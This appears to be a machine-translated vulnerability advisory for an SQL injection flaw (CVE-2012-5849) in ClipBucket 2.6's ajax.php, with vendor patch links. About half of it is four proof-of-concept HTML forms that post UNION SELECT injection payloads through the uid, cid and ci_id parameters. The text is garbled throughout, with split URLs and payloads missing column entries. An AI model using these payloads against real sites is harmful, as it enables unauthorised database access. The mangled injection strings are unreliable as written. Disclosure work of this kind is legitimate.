ClipBucket "/ajax. php" script SQL Injection Vulnerability

Release date:
Updated on:

Affected Systems:
ClipBucket 2.6 re vision 738
Description:
--------------------------------------------------------------------------------
Bugtraq id: 56854
CVE (CAN) ID: CVE-2012-5849

ClipBucket is an open-source free video sharing software.

ClipBucket 2.6 Revision 738 and earlier "/ajax. multiple Parameter Values in the php script are incorrectly filtered. Remote attackers can execute arbitrary SQL queries in the application database by sending specially crafted HTTP POST requests. Affected parameters include: "uid", "id", "cid", and "ci_id"

<* Source: High-Tech Bridge Security Research Lab

Link: https://www.htbridge.com/advisory/HTB23125
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

PoC 1:
<Form action = "http: // [host]/ajax. php" method = "post">
<Input type = "hidden" name = "mode" value = "add_friend"/>
<Input type = "hidden" name = "uid" value = "'Union SELECT, 7, version, 9,10, -- "/>
<Input type = "submit" id = "btn">
</Form>
PoC 2:
<Form action = "http: // [host]/ajax. php" method = "post">
<Input type = "hidden" name = "mode" value = "get_item"/>
<Input type = "hidden" name = "type" value = "[videos | photos]"/>
<Input type = "hidden" name = "cid" value = "0 union select, 7, version, 9, 10, 9, 10, 1, 2, 3, 4, 5, 6, 7, 8, 9 -- "/>
<Input type = "hidden" name = "ci_id" value = ""/>
<Input type = "submit" id = "btn">
</Form>
PoC 3:
<Form action = "http: // [host]/ajax. php" method = "post">
<Input type = "hidden" name = "mode" value = "get_item"/>
<Input type = "hidden" name = "type" value = "[videos | photos]"/>
<Input type = "hidden" name = "cid" value = ""/>
<Input type = "hidden" name = "ci_id" value = "0 union select, 7, version, 9, 10, 9, 10, 1, 2, 3, 4, 5, 6, 7, 8, 9 -- "/>
<Input type = "submit" id = "btn">
</Form>
PoC 4:
<Form action = "http: // [host]/ajax. php" method = "post">
<Input type = "hidden" name = "mode" value = "load_more_items"/>
<Input type = "hidden" name = "type" value = "[videos | photos]"/>
<Input type = "hidden" name = "cid" value = "0 'Union SELECT, 7, version,, 7, 8, 9, 10, 1, 2, 3, 4, 5, 6, 7, 8, 9 -- "/>
<Input type = "submit" id = "btn">
</Form>

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

ClipBucket
----------
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://clip-bucket.com/
Http://sourceforge.net/projects/clipbucket/files/Patches/
Http://sourceforge.net/projects/clipbucket/files/ClipBucket%20v2/